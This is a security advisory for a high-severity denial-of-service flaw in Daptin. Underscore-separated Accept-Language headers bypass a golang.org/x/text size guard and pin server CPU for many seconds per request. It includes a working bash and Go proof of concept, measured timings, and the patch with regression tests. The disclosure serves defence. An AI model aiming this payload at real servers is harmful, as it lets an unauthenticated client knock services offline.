GHSA-rhj7-vh3v-mcq6

Suggest an improvement
Source
https://github.com/advisories/GHSA-rhj7-vh3v-mcq6
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-rhj7-vh3v-mcq6/GHSA-rhj7-vh3v-mcq6.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-rhj7-vh3v-mcq6
Aliases
  • CVE-2026-62160
Published
2026-10-29T16:33:09Z
Modified
2026-10-29T16:45:05Z
Severity
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
Daptin: ParseAcceptLanguage `_` separator bypass enables >250x CPU amplification via Accept-Language header in LanguageMiddleware
Details

Summary

Daptin's LanguageMiddleware (registered as a global gin middleware) calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header of every HTTP request without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators (only 256 KiB, not even the 1 MiB ceiling) consumes about 27 seconds of server CPU on the host running Daptin. A 1 MiB payload exceeds the 2-minute test client timeout. A single attacker on a 1 Mbit/s uplink can pin an entire Daptin host with one request every 30 seconds.

Affected versions

github.com/daptin/daptin v0.12.15 and (per code inspection of master) all earlier 0.12.x versions that wire LanguageMiddleware on the global gin router without imposing their own size limit on Accept-Language. Verified on:

  • the official release binary daptin-linux-amd64 v0.12.15 built into a Docker image from the project's own Dockerfile (E2E below)
  • master at commit b021ac4ae1f72b7401e851fcf883bc970303c794 by reading server/language.go (the middleware is unchanged)

Privilege required

Unauthenticated. The middleware is registered on the global gin router that serves both the public landing page and the unauthenticated /api style endpoints. Anyone who can reach the HTTP listener (port 8080 by default) is in scope.

Vulnerable code

server/language.go (blob SHA b021ac4ae1f72b7401e851fcf883bc970303c794):

func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {
    pref := GetLanguagePreference(c.GetHeader("Accept-Language"), lm.defaultLanguage)
    c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref))
}

func GetLanguagePreference(header string, defaultLanguage string) []string {
    preferredLanguage := header

    if preferredLanguage == "" || preferredLanguage == "undefined" || preferredLanguage == "null" {
        preferredLanguage = defaultLanguage
    }

    languageTags, _, err := language.ParseAcceptLanguage(preferredLanguage)
    resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage)
    pref := make([]string, 0)
    prefMap := make(map[string]bool)

    if len(languageTags) == 1 && languageTags[0].String() == defaultLanguage {
        // single tag matches default — skip
    } else {
        for _, tag := range languageTags {
            base, conf := tag.Base()
            if conf == 0 {
                continue
            }
            if prefMap[base.String()] == true {
                continue
            }
            prefMap[base.String()] = true
            pref = append(pref, base.String())
        }
    }
    return pref
}

c.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Daptin does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

The resource.CheckErr call on the error path also formats the entire input string into a log line (Failed to parse Accept-Language header [%v]), amplifying the cost on attacker-supplied 256 KiB-1 MiB payloads.

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 256 KiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.

How Accept-Language reaches ParseAcceptLanguage

Every HTTP request that hits the Daptin API server passes through LanguageMiddleware (registered as a global gin middleware). The middleware sequence is:

  1. The request enters LanguageMiddlewareFunc.
  2. c.GetHeader("Accept-Language") returns the full attacker-supplied header value.
  3. GetLanguagePreference(header, defaultLanguage) is called.
  4. The function passes the unfiltered header into language.ParseAcceptLanguage(preferredLanguage).

No size or character-class filter is applied between (2) and (4). The middleware runs for every gin handler — including the unauthenticated landing page at / and the public API root at /api.

Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh Daptin container built from the project's own Dockerfile:

# Build daptin image (uses prebuilt linux/amd64 release binary)
cd daptin
curl -fL -O https://github.com/daptin/daptin/releases/download/v0.12.15/daptin-linux-amd64
chmod +x daptin-linux-amd64
docker build --platform linux/amd64 -t daptin-poc:v0.12.15 .

# Start it
docker run -d --platform linux/amd64 --name daptin --rm -p 18888:8080 daptin-poc:v0.12.15
sleep 8  # wait for sqlite migrations + Olric ring

# Attack with a 256 KiB header (smaller than the default 1 MiB ceiling
# because daptin's per-request cost saturates well below 1 MiB)
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 25600, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:18888/

Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against daptin-linux-amd64 v0.12.15)

A Go driver poc.go boots the container, sends a 256 KiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):

// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:18888/"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 120 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 256KiB)", buildPayload("-", 256*1024))
    send("attack ('_' x 256KiB)",     buildPayload("_", 256*1024))
    send("attack repeat 2",            buildPayload("_", 256*1024))
    send("attack repeat 3",            buildPayload("_", 256*1024))
}

Captured run output (Apple M1 Pro, darwin/arm64 host, daptin amd64 binary v0.12.15 running under Docker Desktop with QEMU x86_64 emulation):

E2E: golang/x/text ParseAcceptLanguage '_' bypass through
daptin/daptin v0.12.15 LanguageMiddleware at
server/language.go.

Target: http://127.0.0.1:18888/   payload=262144 B

  warm-up                                      header=0 B  '_'=0  '-'=0  status=200  t=19.968ms

--- measurements (single request each) ---
  baseline (no header)                         header=0 B  '_'=0  '-'=0  status=200  t=25.924208ms
  baseline (1 short tag)                       header=5 B  '_'=0  '-'=1  status=200  t=28.398333ms
  guard-fires control ('-' x 256KiB)           header=262142 B  '_'=0  '-'=26214  status=200  t=105.506458ms
  attack ('_' x 256KiB)                        header=262142 B  '_'=26214  '-'=0  status=200  t=26.679448875s
  attack repeat 2                              header=262142 B  '_'=26214  '-'=0  status=200  t=18.012964208s
  attack repeat 3                              header=262142 B  '_'=26214  '-'=0  status=200  t=8.868606042s

A separate run with a 1 MiB payload exceeded the 2-minute client timeout on the attack request, confirming that the cost scales beyond 120 s per request at 1 MiB.

Interpretation:

Request Header bytes Server time
no header / short tag 0 - 5 26 - 28 ms
256 KiB - separators (CVE-2022-32149 guard fires) 256 KiB 106 ms
256 KiB _ separators (guard bypassed) 256 KiB 9 - 27 s
1 MiB _ separators (guard bypassed) 1 MiB > 120 s

The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 256 KiB - payload returns in 106 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 200 from the same endpoint but consumes 9-27 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~85-250x on the 256 KiB payload and >1000x on a 1 MiB payload.

The amplification is higher than other consumers of ParseAcceptLanguage because Daptin formats the entire input into a log line via resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage) when parsing fails, and runs additional bookkeeping in GetLanguagePreference (a prefMap deduplication loop over the resulting tag slice).

Impact

  • One unauthenticated client can pin one CPU core for ~9-27 seconds per 256 KiB request, or for at least 120 seconds per 1 MiB request.
  • A single attacker on a 1 Mbit/s uplink can sustain ~1 attack request every 30 seconds, pinning one server core continuously with one TCP connection.
  • A small number of concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Daptin instance indefinitely.
  • The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.

Suggested fix

Apply the size / character-class filter inside LanguageMiddleware (and inside GetLanguagePreference for defence in depth) before reaching language.ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:

// server/language.go
const maxAcceptLanguageSeparators = 32 // real browsers send < 10

func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {
    header := c.GetHeader("Accept-Language")
    if strings.Count(header, "-")+strings.Count(header, "_") > maxAcceptLanguageSeparators {
        // Refuse to call into the BCP 47 parser with absurd input.
        header = ""
    }
    pref := GetLanguagePreference(header, lm.defaultLanguage)
    c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref))
}

A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.

Credit

Reported by tonghuaroot.

Fix PR

https://github.com/daptin/daptin-ghsa-rhj7-vh3v-mcq6/pull/1

Maintainer fix status

Fixed on master in commit 2d709509 Harden Accept-Language parsing.

The fix caps combined - and _ separators in Accept-Language before calling language.ParseAcceptLanguage, both in LanguageMiddlewareFunc and in GetLanguagePreference for defence in depth. Regression coverage was added in server/language_test.go for normal browser headers, a 256 KiB underscore-separated malformed header, and combined separator counting.

Verification run:

go test ./server -count=1

Result: passed.

Database specific
{
    "cwe_ids":  [
        "CWE-400"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-29T16:33:09Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}
References

Affected packages

Go / github.com/daptin/daptin

Package

Name
github.com/daptin/daptin
View open source insights on deps.dev
Purl
pkg:golang/github.com/daptin/daptin

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
0.12.15

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-rhj7-vh3v-mcq6/GHSA-rhj7-vh3v-mcq6.json"